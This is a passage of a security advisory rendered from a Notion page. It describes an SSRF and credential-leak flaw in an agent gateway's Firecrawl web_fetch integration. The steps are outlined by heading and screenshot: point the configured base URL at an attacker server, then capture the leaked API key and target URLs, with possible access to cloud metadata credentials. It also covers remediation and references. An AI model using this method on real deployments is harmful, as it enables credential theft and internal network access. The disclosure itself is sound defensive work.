notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8054a2dced6788f95d25" data-id="3230f0c5b87c8054a2dced6788f95d25"><span><div id="3230f0c5b87c8054a2dced6788f95d25" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8054a2dced6788f95d25" title="Step 1: Setup Attacker Server"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 1: Setup Attacker Server</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80039654fd698434da23"><b>复现截图 - 启动攻击者服务器：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80a5b073cc64692b87fe"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa004_step1_setup.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80a5-b073-cc64692b87fe" alt="Step 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80a5955dcf249533bdbd">Step 1</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8000ae15def05c051765" data-id="3230f0c5b87c8000ae15def05c051765"><span><div id="3230f0c5b87c8000ae15def05c051765" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8000ae15def05c051765" title="Step 2: Modify Firecrawl Configuration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 2: Modify Firecrawl Configuration</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80659751c0bd56e4ee46"><b>复现截图 - 修改 Firecrawl 配置：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80dfaa65d4e862681c75"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa004_step2_config.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80df-aa65-d4e862681c75" alt="Step 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c806da268f02228d4ca76">Step 2</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f2b83ddcfb5a9ee2a8" data-id="3230f0c5b87c80f2b83ddcfb5a9ee2a8"><span><div id="3230f0c5b87c80f2b83ddcfb5a9ee2a8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f2b83ddcfb5a9ee2a8" title="Step 3: Trigger web_fetch"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 3: Trigger web_fetch</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8055be53fd90d804b732"><b>复现截图 - 触发 SSRF 请求：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80efa350d5730c6be889"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa004_step3_trigger.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80ef-a350-d5730c6be889" alt="Step 3" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80efa66ef6bbe31b808c">Step 3</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809a8356de2f3fa85db0" data-id="3230f0c5b87c809a8356de2f3fa85db0"><span><div id="3230f0c5b87c809a8356de2f3fa85db0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809a8356de2f3fa85db0" title="Step 4: Observe Exfiltration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Step 4: Observe Exfiltration</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8053930dedcabf884802">Attacker server logs:</div><div class="notion-text notion-block-3230f0c5b87c80a8a253d1aaac492692"><b>复现截图 - 捕获泄露的 API Key 和目标 URL：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8042acb0fe52d649d38e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa004_step4_capture.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8042-acb0-fe52d649d38e" alt="Step 4" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80e0aee8d4e6f3d9118d">Step 4</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e09b06de4c99475841" data-id="3230f0c5b87c80e09b06de4c99475841"><span><div id="3230f0c5b87c80e09b06de4c99475841" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e09b06de4c99475841" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80718b8bc264172c6231" data-id="3230f0c5b87c80718b8bc264172c6231"><span><div id="3230f0c5b87c80718b8bc264172c6231" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80718b8bc264172c6231" title="1. Internal Network Access (SSRF)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. Internal Network Access (SSRF)</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80cc8660dc022dfb540a"><b>Cloud Metadata Services</b>:</div><div class="notion-text notion-block-3230f0c5b87c8069a4adddb461b2694d">Effect: POST to AWS IMDS with <code class="notion-inline-code">Authorization</code> header → Potential EC2 IAM credential leak</div><div class="notion-text notion-block-3230f0c5b87c801a8da8dde5420c8734"><b>Internal Services</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f8aef4cc8f4412b5cc" data-id="3230f0c5b87c80f8aef4cc8f4412b5cc"><span><div id="3230f0c5b87c80f8aef4cc8f4412b5cc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f8aef4cc8f4412b5cc" title="2. Credential Theft"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. Credential Theft</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803bbd3fd43b424f367d"><li><b>Firecrawl API Key</b>: Exfiltrated in <code class="notion-inline-code">Authorization</code> header</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803abefbfa2c6c7dd1ae"><li><b>Usage</b>: Attacker can abuse the API key for free Firecrawl service consumption or quota exhaustion</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8058a6e6d53bb66fe300" data-id="3230f0c5b87c8058a6e6d53bb66fe300"><span><div id="3230f0c5b87c8058a6e6d53bb66fe300" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8058a6e6d53bb66fe300" title="3. Information Disclosure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Information Disclosure</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807e8f46fe41d65d7ae2"><li><b>User Target URLs</b>: Leaked in POST body reveals internal URLs being accessed</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b3b335e0baff55d572"><li><b>System Configuration</b>: Exposes timeout settings, proxy configuration, caching behavior</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c4b1d7dfe18ff57d63" data-id="3230f0c5b87c80c4b1d7dfe18ff57d63"><span><div id="3230f0c5b87c80c4b1d7dfe18ff57d63" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c4b1d7dfe18ff57d63" title="4. Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80fcb4a4d3f969208407"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80278c8dea51b9a308de"><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Severity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Details</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80a19318c4076d61629e"><td class="" style="width:120px"><div class="notion-simple-table-cell">Confidentiality</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API keys + internal URLs leaked</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c802880dee87d46c425fe"><td class="" style="width:120px"><div class="notion-simple-table-cell">Integrity</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Attacker can return fake web content to agent</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c809c80a4d87ff812d312"><td class="" style="width:120px"><div class="notion-simple-table-cell">Availability</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API quota abuse possible</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80ad8919d28c665879a2"><td class="" style="width:120px"><div class="notion-simple-table-cell">Financial</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Unauthorized Firecrawl API usage</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80579a2aca58c79ad035"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Exposure of cloud credentials (IMDS) may violate compliance requirements</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c3b9c0d5c9a2effbd6" data-id="3230f0c5b87c80c3b9c0d5c9a2effbd6"><span><div id="3230f0c5b87c80c3b9c0d5c9a2effbd6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c3b9c0d5c9a2effbd6" title="Affected Configurations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Configurations</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bc856ec3b7d9b1b168" data-id="3230f0c5b87c80bc856ec3b7d9b1b168"><span><div id="3230f0c5b87c80bc856ec3b7d9b1b168" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bc856ec3b7d9b1b168" title="Vulnerable If:"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerable If:</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ceabfddbaa22f94108"><li>✅ Firecrawl integration is enabled (<code class="notion-inline-code">tools.web.fetch.firecrawl.apiKey</code> is set)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f49777c6f8119ae1fc"><li>✅ User has <code class="notion-inline-code">operator.admin</code> scope (can modify config)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800bb4bec495b0b31227"><li>✅ Gateway is deployed in cloud environment with metadata services</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e08dbce068fae9da9b" data-id="3230f0c5b87c80e08dbce068fae9da9b"><span><div id="3230f0c5b87c80e08dbce068fae9da9b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e08dbce068fae9da9b" title="Not Vulnerable If:"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Not Vulnerable If:</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807f98b2fe7f12080b2a"><li>❌ Firecrawl is disabled</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80cb88c7d1dfa6c0e8d0"><li>❌ Gateway blocks outbound HTTP to private IP ranges at network layer</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80adad8fec833d184096"><li>❌ <code class="notion-inline-code">operator.admin</code> scope is tightly controlled</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c78eebeba57357f642" data-id="3230f0c5b87c80c78eebeba57357f642"><span><div id="3230f0c5b87c80c78eebeba57357f642" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c78eebeba57357f642" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8018827dfe752b9aab9d" data-id="3230f0c5b87c8018827dfe752b9aab9d"><span><div id="3230f0c5b87c8018827dfe752b9aab9d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8018827dfe752b9aab9d" title="Immediate Fix"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Fix</span></span></h4><div class="notion-text notion-block-3230f0c5b87c805689bdf1718bb09c45">Replace raw <code class="notion-inline-code">fetch()</code> with protected <code class="notion-inline-code">fetchWithSsrFGuard()</code>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80419ae2ffcc8b5672ad" data-id="3230f0c5b87c80419ae2ffcc8b5672ad"><span><div id="3230f0c5b87c80419ae2ffcc8b5672ad" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80419ae2ffcc8b5672ad" title="Additional Protections"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Additional Protections</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80938911cfdb0a858688" style="list-style-type:decimal"><li><b>Validate </b><code class="notion-inline-code"><b>baseUrl</b></code><b> at config write time</b>:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80bbadf0e831d01a6216" style="list-style-type:decimal"><li><b>Add audit logging</b>:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c801b9afaf3502b6e9d01" style="list-style-type:decimal"><li><b>Network-layer controls</b>: Block outbound requests to private IP ranges via firewall/security groups</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80219bfbd84bd7eff2f9" data-id="3230f0c5b87c80219bfbd84bd7eff2f9"><span><div id="3230f0c5b87c80219bfbd84bd7eff2f9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80219bfbd84bd7eff2f9" title="Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e4b775ef92a87a257b" data-id="3230f0c5b87c80e4b775ef92a87a257b"><span><div id="3230f0c5b87c80e4b775ef92a87a257b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e4b775ef92a87a257b" title="Indicators of Compromise"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Indicators of Compromise</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8096ba4ee53df0933dbf"><b>Config Audit Logs</b>:</div><div class="notion-text notion-block-3230f0c5b87c8055b6adcbc1ee1cb39b"><b>Network Traffic</b>:</div><div class="notion-text notion-block-3230f0c5b87c80f0be22eae9d769678f"><b>Application Logs</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a1a42fe1fb09e57064" data-id="3230f0c5b87c80a1a42fe1fb09e57064"><span><div id="3230f0c5b87c80a1a42fe1fb09e57064" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a1a42fe1fb09e57064" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80829734f578cba02107"><li><b>2026-03-10</b>: Vulnerability discovered during security audit</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a8baece528aa3a4e57"><li><b>2026-03-10</b>: PoC developed and verified</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8064bb63e87e66c0ffc9"><li><b>2026-03-10</b>: Advisory drafted</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d99eb4e5e2c15ed23d" data-id="3230f0c5b87c80d99eb4e5e2c15ed23d"><span><div id="3230f0c5b87c80d99eb4e5e2c15ed23d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d99eb4e5e2c15ed23d" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8010bb0dd6d7d04a2ac5"><li>CWE-918: Server-Side Request Forgery (SSRF)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8035963fc4cb9d5facd4"><li>CWE-522: Insufficiently Protected Credentials</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80dba960f66a75556184"><li>OWASP SSRF: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80aca88cde2aad06cbce"><li>AWS IMDS v2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c1bacac03db15fdaae" data-id="3230f0c5b87c80c1bacac03db15fdaae"><span><div id="3230f0c5b87c80c1bacac03db15fdaae" 